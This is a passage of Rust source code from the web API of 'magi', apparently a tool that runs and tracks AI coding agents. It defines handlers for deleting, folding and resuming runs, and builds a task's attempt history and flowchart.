2559        // Best-effort: an unreadable head (mid-write, or deleted) just means
2560        // this run's own status stands on its own, same as no later attempt
2561        // existing at all.
2562        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2563            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2564                short: head.short().to_owned(),
2565                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2566                id: head.id,
2567            })
2568        });
2569        let task = ui
2570            .queue
2571            .list()
2572            .into_iter()
2573            .find(|t| t.runs.contains(&id))
2574            .map(|t| TaskRef {
2575                short: t.short().to_owned(),
2576                title: t.title.clone(),
2577                id: t.id,
2578            });
2579        Ok(Json(RunDetailView::of(
2580            state,
2581            live,
2582            superseded_by,
2583            latest_attempt,
2584            task,
2585        )))
2586    })
2587    .await
2588}
2589
2590/// `DELETE /api/runs/{id}`.
2591///
2592/// Remove a finished, folded run directory along with its artifacts.
2593/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2594/// deleted. This never touches git worktrees or branches - except for a run
2595/// whose state this build cannot read at all, where there is no candidate
2596/// list to check and the wholesale removal `magi fold` already uses for that
2597/// case is the only meaningful "delete".
2598async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2599    let (id, unreadable) = {
2600        let ui = Arc::clone(&ui);
2601        blocking(move || {
2602            let id = resolve_run(&ui.runs, &id)?;
2603            match read_run(&ui.runs, &id) {
2604                Ok(state) => {
2605                    let in_flight =
2606                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2607                    state
2608                        .ensure_can_delete(in_flight)
2609                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2610                    let dir = ui.runs.join(&id);
2611                    std::fs::remove_dir_all(&dir)
2612                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2613                    Ok((id, false))
2614                }
2615                Err(_) => {
2616                    // Unreadable: there is no candidate list to guard on, so
2617                    // a live daemon's claim is the only thing left to check -
2618                    // the same rule `run_fold` applies for the same reason.
2619                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2620                        return Err(ApiError::conflict(format!(
2621                            "run {id} is being worked on by a live daemon right now"
2622                        )));
2623                    }
2624                    Ok((id, true))
2625                }
2626            }
2627        })
2628        .await?
2629    };
2630    if unreadable {
2631        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2632            .await
2633            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2634    }
2635    let ui = Arc::clone(&ui);
2636    let done = id.clone();
2637    blocking(move || {
2638        // The agent that asked died with the run, so an open question would
2639        // keep asking the operator for a decision nobody can deliver.
2640        ui.questions.abandon_for_run(
2641            &done,
2642            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2643        )?;
2644        Ok(())
2645    })
2646    .await?;
2647    Ok(StatusCode::NO_CONTENT)
2648}
2649
2650/// `POST /api/runs/{id}/fold`.
2651///
2652/// Remove a run's candidate worktrees and branches, keeping its record.
2653///
2654/// This exists because the deck answered "delete this run" with *"Candidates
2655/// must be folded before deleting. Run `magi fold` first."* — a phone being
2656/// told to open a terminal, in the one product whose point is that it does
2657/// not need one. The runs an operator most wants gone are the stalled and
2658/// blocked ones, and those are exactly the runs still holding worktrees:
2659/// three of them here held 53 GB.
2660///
2661/// The winner's tree goes too. A fold is what someone asks for when they are
2662/// finished with a run, and leaving one tree behind would leave the delete
2663/// button disabled for the same reason as before.
2664///
2665/// Refused while a live daemon is working on the run, on the rule that guards
2666/// deletion: folding underneath a running agent would pull the tree it is
2667/// editing out from under it.
2668///
2669/// A run whose state this build cannot read at all falls back to
2670/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2671/// selectively, so the whole record's worktree goes wholesale, exactly what
2672/// `magi fold` does on the command line for the same run.
2673async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2674    let (id, state) = {
2675        let ui = Arc::clone(&ui);
2676        blocking(move || {
2677            let id = resolve_run(&ui.runs, &id)?;
2678            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2679                return Err(ApiError::conflict(format!(
2680                    "run {id} is being worked on by a live daemon right now"
2681                )));
2682            }
2683            let state = read_run(&ui.runs, &id).ok();
2684            Ok((id, state))
2685        })
2686        .await?
2687    };
2688    let removed = match state {
2689        Some(mut state) => {
2690            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2691                .await
2692                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2693            // Nothing left to remove is not the same thing as nothing left to
2694            // do — see `clean::clear_abandoned_active`'s own doc for the run
2695            // this exists for: worktrees already gone, but a killed process
2696            // left active seats nobody will ever answer for.
2697            if removed.is_empty() {
2698                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2699                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2700            }
2701            removed
2702        }
2703        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2704            .await
2705            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2706    };
2707    Ok(Json(FoldView {
2708        run: id,
2709        removed_count: removed.len(),
2710        removed,
2711    }))
2712}
2713
2714/// What a fold took away, so the deck can say so rather than only re-render.
2715#[derive(Debug, Serialize)]
2716struct FoldView {
2717    run: String,
2718    /// Worktree paths and branch names removed, in the order they went.
2719    removed: Vec<String>,
2720    removed_count: usize,
2721}
2722
2723/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2724/// merged outside of `land::land`'s own loop.
2725#[derive(Debug, Deserialize)]
2726struct FoldMergedBody {
2727    #[serde(default)]
2728    pr_url: String,
2729}
2730
2731/// `POST /api/runs/{id}/fold-merged`.
2732///
2733/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2734/// `Blocked` with `merge: null` because magi never got as far as opening a
2735/// pull request of its own (a title over GitHub's length limit, `gh pr
2736/// create` unreachable, a stale token), which the operator then finished by
2737/// hand on a pull request magi never recorded. The "Run actions" sheet used
2738/// to have no way to tell it about that pull request short of a terminal and
2739/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2740/// this exists and what it deliberately does not do (`bump::after_merge`).
2741///
2742/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2743/// correction rewrites the same `status`/`merge` fields a running graph would
2744/// be writing to on its own.
2745///
2746/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2747/// calls plus a fold, seconds of work, and the phone should get its answer
2748/// (which pull request it recorded, and what changed) in the same round
2749/// trip rather than learning it from the change stream.
2750async fn run_fold_merged(
2751    State(ui): State<Arc<Ui>>,
2752    Path(id): Path<String>,
2753    Json(body): Json<FoldMergedBody>,
2754) -> ApiResult<Json<FoldMergedView>> {
2755    let pr_url = body.pr_url.trim().to_owned();
2756    if pr_url.is_empty() {
2757        return Err(ApiError::bad_request("pr_url is required"));
2758    }
2759    let (id, mut state) = {
2760        let ui = Arc::clone(&ui);
2761        blocking(move || {
2762            let id = resolve_run(&ui.runs, &id)?;
2763            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2764                return Err(ApiError::conflict(format!(
2765                    "run {id} is being worked on by a live daemon right now"
2766                )));
2767            }
2768            let state = read_run(&ui.runs, &id)?;
2769            Ok((id, state))
2770        })
2771        .await?
2772    };
2773    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2774        .await
2775        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2776    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2777        .await
2778        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2779    Ok(Json(FoldMergedView {
2780        run: id,
2781        before: before.as_str().to_owned(),
2782        after: after.as_str().to_owned(),
2783        removed,
2784    }))
2785}
2786
2787/// What [`run_fold_merged`] did, so the deck can say so.
2788#[derive(Debug, Serialize)]
2789struct FoldMergedView {
2790    run: String,
2791    /// `status` before the correction — normally `"blocked"`.
2792    before: String,
2793    /// `status` after — normally `"merged"`.
2794    after: String,
2795    /// Worktree paths and branch names the trailing fold removed.
2796    removed: Vec<String>,
2797}
2798
2799/// `POST /api/runs/{id}/resume`.
2800///
2801/// Carry a stalled run on from where it stopped, in the background.
2802///
2803/// A stalled card says "the work is kept" and used to offer no way to act on
2804/// that: the candidates are built and paid for, and continuing means re-asking
2805/// only the seats whose absence collapsed the panel. The alternative an
2806/// operator actually had was releasing the task, which competes three fresh
2807/// implementations against work that already exists.
2808///
2809/// **202, not 200.** A resume runs agents for minutes; holding the connection
2810/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2811/// phone learns the outcome from the change stream.
2812///
2813/// Refused when the loop is running at all, not merely when it is on this run.
2814/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2815/// started a second graph on top of whatever the loop is already driving —
2816/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2817/// allows — would spend that quota twice over for no extra throughput.
2818async fn run_resume(
2819    State(ui): State<Arc<Ui>>,
2820    Path(id): Path<String>,
2821) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2822    let (id, state) = {
2823        let ui = Arc::clone(&ui);
2824        blocking(move || {
2825            let id = resolve_run(&ui.runs, &id)?;
2826            let state = read_run(&ui.runs, &id)?;
2827            Ok((id, state))
2828        })
2829        .await?
2830    };
2831    if let Some(to) = &state.released_to {
2832        return Err(ApiError::conflict(format!(
2833            "run {} can no longer be resumed: its worktree was released to run {}, which \
2834             took the branch over.",
2835            state.short(),
2836            crate::run::short_of(to)
2837        )));
2838    }
2839    if !state.status.resumable() {
2840        return Err(ApiError::conflict(format!(
2841            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2842            state.short(),
2843            status_word(state.status)
2844        )));
2845    }
2846    // Refused whenever the loop is running anything at all, not merely when
2847    // it is on this run: a manual resume racing a loop-driven run over the
2848    // same agent quota is the thing this guard exists to prevent, whether
2849    // the loop's own concurrency is one run or several.
2850    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2851        .into_iter()
2852        .next()
2853    {
2854        return Err(ApiError::conflict(format!(
2855            "the loop is running run {} right now; stop it first, or wait for \
2856             it to finish, before resuming a run by hand.",
2857            crate::run::short_of(&work.run)
2858        )));
2859    }
2860    let _resume = ui.begin_resume(&id)?;
2861
2862    // The same shape the list route returns, so the phone updates the card it
2863    // already has rather than learning a second schema for one button.
2864    let queued = RunSummary::of(
2865        &state,
2866        !ui.questions.open_for(&id).is_empty(),
2867        state.liveness(false),
2868    );
2869    let run = id.clone();
2870    tokio::spawn(async move {
2871        let _resume = _resume;
2872        match crate::graph::Runner::resume(&run) {
2873            Ok(mut runner) => {
2874                if let Err(e) = runner.execute().await {
2875                    tracing::warn!("resume of run {run} stopped: {e:#}");
2876                }
2877            }
2878            // The run's own record is what the phone reads; this line is for
2879            // the operator's terminal.
2880            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2881        }
2882    });
2883    Ok((StatusCode::ACCEPTED, Json(queued)))
2884}
2885
2886async fn run_report(
2887    State(ui): State<Arc<Ui>>,
2888    Path(id): Path<String>,
2889) -> ApiResult<impl IntoResponse> {
2890    let text = blocking(move || {
2891        let id = resolve_run(&ui.runs, &id)?;
2892        // Colour is off for the whole process, set once in `serve`. Rendering
2893        // is CPU work over the full state, which is the other reason this is
2894        // not on the executor.
2895        let state = read_run(&ui.runs, &id)?;
2896        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2897        let live = state.liveness(daemon_claims);
2898        Ok(format!(
2899            "{}{}",
2900            report::run(&state),
2901            report::active_seats(&state, live)
2902        ))
2903    })
2904    .await?;
2905    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2906}
2907
2908/// A task as the UI sees it.
2909///
2910/// The whole task, plus the two things the client would otherwise have to
2911/// reimplement: the human-readable source and the status string. Nothing is
2912/// removed - the phone shows `last_error` and the run history verbatim.
2913#[derive(Debug, Serialize)]
2914struct TaskView {
2915    #[serde(flatten)]
2916    task: Task,
2917    source_label: String,
2918    status_str: &'static str,
2919    /// The instruction, parsed as markdown, for the Queue card's "Full
2920    /// instruction" panel. `task.instruction` is unchanged and still carries
2921    /// the raw text.
2922    instruction_md: Vec<md::Node>,
2923    /// For a blocked task, what it waits on with each dependency's state, e.g.
2924    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2925    /// recurses; empty for every other status.
2926    waits_on: Vec<String>,
2927    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2928    /// behind - non-empty means nothing in the loop will ever run it.
2929    stuck_roots: Vec<String>,
2930}
2931
2932impl From<Task> for TaskView {
2933    fn from(task: Task) -> Self {
2934        Self {
2935            source_label: task.source.label(),
2936            status_str: task.status.as_str(),
2937            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2938            waits_on: Vec::new(),
2939            stuck_roots: Vec::new(),
2940            task,
2941        }
2942    }
2943}
2944
2945impl TaskView {
2946    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2947        let waits_on = inv.waits_on(&task);
2948        let stuck_roots = inv
2949            .stuck_roots(&task)
2950            .iter()
2951            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2952            .collect();
2953        Self {
2954            waits_on,
2955            stuck_roots,
2956            ..Self::from(task)
2957        }
2958    }
2959}
2960
2961/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2962/// its absence, leaves the cache to decide.
2963#[derive(Debug, Default, Deserialize)]
2964#[serde(default)]
2965struct ReposQuery {
2966    refresh: u8,
2967}
2968
2969/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2970/// listing `magi repos` prints at a terminal.
2971///
2972/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2973/// so an edit to `magi.toml` takes effect without a restart, the same
2974/// reasoning [`config_for`] documents for the talk routes.
2975async fn repos_list(
2976    State(ui): State<Arc<Ui>>,
2977    Query(q): Query<ReposQuery>,
2978) -> ApiResult<Json<Vec<repos::Repo>>> {
2979    let refresh = q.refresh != 0;
2980    blocking(move || {
2981        let (cfg, _) = Config::discover(&ui.repo, None)?;
2982        Ok(Json(ui.repos_cache.list(
2983            &cfg.repos.roots,
2984            Duration::from_secs(cfg.repos.scan_ttl),
2985            refresh,
2986        )))
2987    })
2988    .await
2989}
2990
2991async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2992    blocking(move || {
2993        let tasks = ui.queue.list();
2994        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2995        Ok(Json(
2996            tasks
2997                .into_iter()
2998                .map(|t| TaskView::with_inventory(t, &inv))
2999                .collect(),
3000        ))
3001    })
3002    .await
3003}
3004
3005/// One attempt in a task's history, as the task page lists it.
3006#[derive(Debug, Serialize)]
3007struct TaskRunView {
3008    /// 1-based position in [`Task::runs`].
3009    n: usize,
3010    id: String,
3011    short: String,
3012    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3013    kind: &'static str,
3014    /// The run's own status string; `None` when its record cannot be read.
3015    status: Option<&'static str>,
3016    /// Whether this build could read the run's record. Counted, never hidden.
3017    readable: bool,
3018    /// A verdict from a collapsed panel is provisional, never a decision.
3019    provisional: bool,
3020    /// What kind of attempt this was, in one line.
3021    description: String,
3022    /// How it ended and why the task moved on (or what it is doing now).
3023    outcome: String,
3024    created_at: Option<Timestamp>,
3025    pr: Option<String>,
3026    /// Why this pass ended, classified once; the flowchart is built from it.
3027    exit: RunExit,
3028    /// What the pass did to the task's attempt budget.
3029    attempt: AttemptCost,
3030    /// The branch a review-only run reopened.
3031    branch: Option<String>,
3032}
3033
3034/// How one pass over a run ended, as far as the task's life is concerned.
3035#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3036#[serde(rename_all = "snake_case")]
3037enum RunExit {
3038    Unreadable,
3039    /// An earlier pass of a run id that appears again: it stopped short.
3040    Interrupted,
3041    Parked,
3042    QuotaStall,
3043    /// Stalled on a resumed pass with quota losses on record: they may be
3044    /// left over from an earlier pass, so whether this one was refunded is
3045    /// not knowable.
3046    ResumedQuotaStall,
3047    Merged,
3048    Ready,
3049    Superseded,
3050    /// The change was already on the base under other commits: the task
3051    /// finished without this run landing anything.
3052    AlreadyInBase,
3053    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3054    Stalled,
3055    /// Blocked / no-op with a pull request left open: held for a person.
3056    HeldWithPr,
3057    NoopHeld,
3058    /// Blocked or failed: the attempt is spent and the task retries or holds.
3059    Spent,
3060    InProgress,
3061}
3062
3063#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3064#[serde(rename_all = "snake_case")]
3065enum AttemptCost {
3066    Spent,
3067    Refunded,
3068    None,
3069    /// Cannot be told from the records that remain.
3070    Unknown,
3071}
3072
3073impl RunExit {
3074    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3075        let Some(s) = s else {
3076            return Self::Unreadable;
3077        };
3078        let status = s.status;
3079        if resumed_later {
3080            Self::Interrupted
3081        } else if s.parked {
3082            Self::Parked
3083        } else if !status.done() {
3084            Self::InProgress
3085        } else if matches!(status, RunStatus::Merged) {
3086            Self::Merged
3087        } else if matches!(status, RunStatus::Ready) {
3088            Self::Ready
3089        } else if matches!(status, RunStatus::Superseded) {
3090            Self::Superseded
3091        } else if matches!(status, RunStatus::AlreadyInBase) {
3092            Self::AlreadyInBase
3093        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3094            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3095        {
3096            if resumed {
3097                Self::ResumedQuotaStall
3098            } else {
3099                Self::QuotaStall
3100            }
3101        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3102            Self::HeldWithPr
3103        } else if matches!(status, RunStatus::VerifiedNoop) {
3104            Self::NoopHeld
3105        } else if matches!(status, RunStatus::Stalled) {
3106            Self::Stalled
3107        } else {
3108            Self::Spent
3109        }
3110    }
3111
3112    fn cost(self) -> AttemptCost {
3113        match self {
3114            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3115            Self::Merged
3116            | Self::Ready
3117            | Self::Stalled
3118            | Self::HeldWithPr
3119            | Self::NoopHeld
3120            | Self::Spent => AttemptCost::Spent,
3121            Self::InProgress => AttemptCost::None,
3122            Self::AlreadyInBase => AttemptCost::Refunded,
3123            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3124                AttemptCost::Unknown
3125            }
3126        }
3127    }
3128
3129    /// Short edge wording for leaving a run this way.
3130    fn edge_label(self, status: Option<&str>) -> String {
3131        match self {
3132            Self::Unreadable => "record unreadable".to_owned(),
3133            Self::Interrupted => "interrupted before the run finished".to_owned(),
3134            Self::Parked => "parked, attempt refunded".to_owned(),
3135            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3136            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3137            Self::Merged => "merged".to_owned(),
3138            Self::Ready => "ready, not merged".to_owned(),
3139            Self::Superseded => "superseded by a later attempt".to_owned(),
3140            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3141            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3142            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3143            Self::NoopHeld => "verified no-op".to_owned(),
3144            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3145            Self::InProgress => "in progress".to_owned(),
3146        }
3147    }
3148
3149    /// Does a task in `end` follow from a run that ended this way? When not,
3150    /// somebody closed or held the task by hand.
3151    fn explains(self, end: TaskStatus) -> bool {
3152        match self {
3153            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3154            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3155            Self::Unreadable | Self::Superseded | Self::Ready => true,
3156            _ => end != TaskStatus::Done,
3157        }
3158    }
3159}
3160
3161/// `GET /api/queue/{id}` - one task with every attempt it went through.
3162#[derive(Debug, Serialize)]
3163struct TaskDetailView {
3164    #[serde(flatten)]
3165    task: TaskView,
3166    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3167    /// told otherwise; the loop's own flag is not visible from here.
3168    max_attempts: usize,
3169    history: Vec<TaskRunView>,
3170    flow: FlowView,
3171    /// How many entries of `history` could not be read.
3172    runs_unreadable: usize,
3173    /// Why the attempt count can be lower than the number of runs.
3174    attempts_note: &'static str,
3175}
3176
3177const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3178and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3179on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3180in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3181
3182/// The branch a review-only run reopened, read off the instruction
3183/// `Runner::open_review` writes.
3184fn review_branch_of(instruction: &str) -> Option<&str> {
3185    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3186    rest.split('`').next().filter(|b| !b.is_empty())
3187}
3188
3189/// Where an entry sits in a task's run list.
3190struct RunSlot<'a> {
3191    /// 1-based position.
3192    n: usize,
3193    /// The same run id appeared earlier: this pass resumed it.
3194    resumed: bool,
3195    /// Position of a later pass over the same run id, if any.
3196    resumed_later: Option<usize>,
3197    /// The previous distinct run and how it ended, for the retry note.
3198    prior: Option<(&'a str, RunStatus)>,
3199    last: bool,
3200}
3201
3202/// Describe one entry of a task's run list. Pure: everything it needs is on
3203/// the run and the task, so it is asserted without a server.
3204fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3205    let RunSlot {
3206        n,
3207        resumed,
3208        resumed_later,
3209        prior,
3210        last,
3211    } = at;
3212    let short = run::short_of(id).to_owned();
3213    let Some(s) = state else {
3214        return TaskRunView {
3215            n,
3216            id: id.to_owned(),
3217            short,
3218            kind: "unknown",
3219            status: None,
3220            readable: false,
3221            provisional: false,
3222            description:
3223                "This run's record could not be read by this build (written by a different \
3224                          magi, or removed), so what kind of attempt it was is unknown."
3225                    .to_owned(),
3226            outcome: String::new(),
3227            created_at: None,
3228            pr: None,
3229            exit: RunExit::Unreadable,
3230            attempt: AttemptCost::Unknown,
3231            branch: None,
3232        };
3233    };
3234    let branch = review_branch_of(&s.instruction);
3235    let kind = if resumed {
3236        "resume"
3237    } else if branch.is_some() {
3238        "review"
3239    } else if task.solo || s.candidates.len() == 1 {
3240        "solo"
3241    } else {
3242        "competition"
3243    };
3244    let mut description = match kind {
3245        "resume" => {
3246            format!("Resumed run {short}: the same run carried on instead of competing again.")
3247        }
3248        "review" => format!(
3249            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3250            branch.unwrap_or_default()
3251        ),
3252        "solo" => "Solo run: one implementer straight into review.".to_owned(),
3253        _ => format!(
3254            "Competition: {} candidates judged blind.",
3255            s.candidates.len().max(1)
3256        ),
3257    };
3258    if !resumed && let Some((p, st)) = prior {
3259        description.push_str(&format!(
3260            " A retry: run {p} before it ended {}.",
3261            st.display_label()
3262        ));
3263    }
3264
3265    let status = s.status;
3266    let provisional = matches!(status, RunStatus::Stalled)
3267        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3268    let head = if resumed_later.is_some() {
3269        String::new()
3270    } else {
3271        match status {
3272            RunStatus::Merged => "Merged.".to_owned(),
3273            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3274            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3275            RunStatus::AlreadyInBase => {
3276                "Already in the base: this change landed under other commits, nothing was left to land."
3277                    .to_owned()
3278            }
3279            RunStatus::Stalled => {
3280                "Stalled: the judging panel never reached a quorum, so there is no verdict."
3281                    .to_owned()
3282            }
3283            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3284            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3285            RunStatus::VerifiedNoop => {
3286                "Verified no-op: the candidates found nothing to change.".to_owned()
3287            }
3288            other if other.done() => format!("Ended {}.", other.display_label()),
3289            other => format!("In progress ({}).", other.display_label()),
3290        }
3291    };
3292    let why = if let Some(k) = resumed_later {
3293        // A run is only picked up again while it is unfinished, so an earlier
3294        // pass of a repeated id stopped short; the record keeps only the run's
3295        // latest status, which is left to the pass that carried it on.
3296        let cause = if s.quota.is_empty() {
3297            "the operator parked it for an upgrade"
3298        } else {
3299            "an agent hit its rate limit"
3300        };
3301        format!(
3302            " This pass stopped before the run finished ({cause}), so the attempt was handed back; pass #{k} resumed the same run, and the status shown is the run's current one."
3303        )
3304    } else if s.parked {
3305        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3306            .to_owned()
3307    } else if !status.done()
3308        || matches!(
3309            status,
3310            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3311        )
3312    {
3313        String::new()
3314    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3315        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3316    {
3317        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3318            .to_owned()
3319    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3320        " It left a pull request open, so the task was held for a person rather than retried."
3321            .to_owned()
3322    } else if matches!(status, RunStatus::VerifiedNoop) {
3323        " Held for a person to check the claim.".to_owned()
3324    } else if last {
3325        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3326    } else {
3327        " It spent an attempt, and the task moved on to the next run.".to_owned()
3328    };
3329    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3330    TaskRunView {
3331        n,
3332        id: id.to_owned(),
3333        short,
3334        kind,
3335        status: Some(status.as_str()),
3336        readable: true,
3337        provisional,
3338        description,
3339        outcome: format!("{head}{why}"),
3340        created_at: Some(s.created_at),
3341        pr: s.pr.as_ref().map(|p| p.url.clone()),
3342        exit,
3343        attempt: exit.cost(),
3344        branch: branch.map(str::to_owned),
3345    }
3346}
3347
3348/// One box of the task's flowchart.
3349#[derive(Debug, Serialize, PartialEq)]
3350struct FlowNode {
3351    /// Unique by position: a resumed run id appears once per pass.
3352    key: String,
3353    /// `start`, `run` or `end`.
3354    kind: &'static str,
3355    label: String,
3356    /// Run status (or the task's, for `end`); `None` when it is not a fact
3357    /// about this box (unreadable, or a pass the run later resumed from).
3358    status: Option<&'static str>,
3359    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
3360    note: Option<&'static str>,
3361    run_kind: Option<&'static str>,
3362    detail: Option<String>,
3363    /// A readable run with a real verdict; a stall never is.
3364    decided: bool,
3365    readable: bool,
3366    href: Option<String>,
3367}
3368
3369#[derive(Debug, Serialize, PartialEq)]
3370struct FlowEdge {
3371    from: String,
3372    to: String,
3373    label: String,
3374    attempt: AttemptCost,
3375}
3376
3377#[derive(Debug, Serialize, PartialEq)]
3378struct FlowView {
3379    nodes: Vec<FlowNode>,
3380    edges: Vec<FlowEdge>,
3381    /// Attempts the task has counted since it was last released.
3382    attempts: usize,
3383    max_attempts: usize,
3384}
3385
3386/// Turn a task and its described runs into the flowchart's boxes and arrows.
3387/// Pure: the page only draws what this returns.
3388fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3389    let node = |key: &str, kind, label: String| FlowNode {
3390        key: key.to_owned(),
3391        kind,
3392        label,
3393        status: None,
3394        note: None,
3395        run_kind: None,
3396        detail: None,
3397        decided: false,
3398        readable: true,
3399        href: None,
3400    };
3401    let mut nodes = vec![node("start", "start", "Task queued".to_owned())];
3402    let mut edges: Vec<FlowEdge> = Vec::new();
3403    let mut prev = "start".to_owned();
3404    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3405    for (i, h) in history.iter().enumerate() {
3406        let key = format!("run-{}", h.n);
3407        let mut n = node(&key, "run", format!("Run {}", h.short));
3408        n.run_kind = Some(h.kind);
3409        n.readable = h.readable;
3410        n.href = Some(format!("#/runs/{}", h.id));
3411        n.decided = h.readable && !h.provisional;
3412        n.detail = h
3413            .branch
3414            .as_ref()
3415            .map(|b| format!("review-only run of branch {b}"));
3416        match h.exit {
3417            RunExit::Unreadable => n.note = Some("unreadable"),
3418            RunExit::Interrupted => n.note = Some("interrupted"),
3419            _ => {
3420                n.status = h.status;
3421                if h.provisional {
3422                    n.note = Some("no verdict");
3423                }
3424            }
3425        }
3426        let into = match h.kind {
3427            "review" => Some(format!(
3428                "review-only run of branch {}",
3429                h.branch.as_deref().unwrap_or("?")
3430            )),
3431            "resume" => Some("resume the same run".to_owned()),
3432            _ if i > 0 => Some("retry".to_owned()),
3433            _ => None,
3434        };
3435        let label = match (prev_exit, into) {
3436            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
3437            (Some((e, st)), None) => e.edge_label(st),
3438            (None, Some(i)) => i,
3439            (None, None) => "claimed".to_owned(),
3440        };
3441        edges.push(FlowEdge {
3442            from: prev.clone(),
3443            to: key.clone(),
3444            label,
3445            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
3446        });
3447        prev_exit = Some((h.exit, h.status));
3448        prev = key;
3449        nodes.push(n);
3450    }
3451    let mut end = node("end", "end", task.status.as_str().to_owned());
3452    end.status = Some(task.status.as_str());
3453    nodes.push(end);
3454    let (label, attempt) = match prev_exit {
3455        None => (
3456            format!("no run yet \u{2192} {}", task.status.as_str()),
3457            AttemptCost::None,
3458        ),
3459        Some((e, st)) if e.explains(task.status) => (
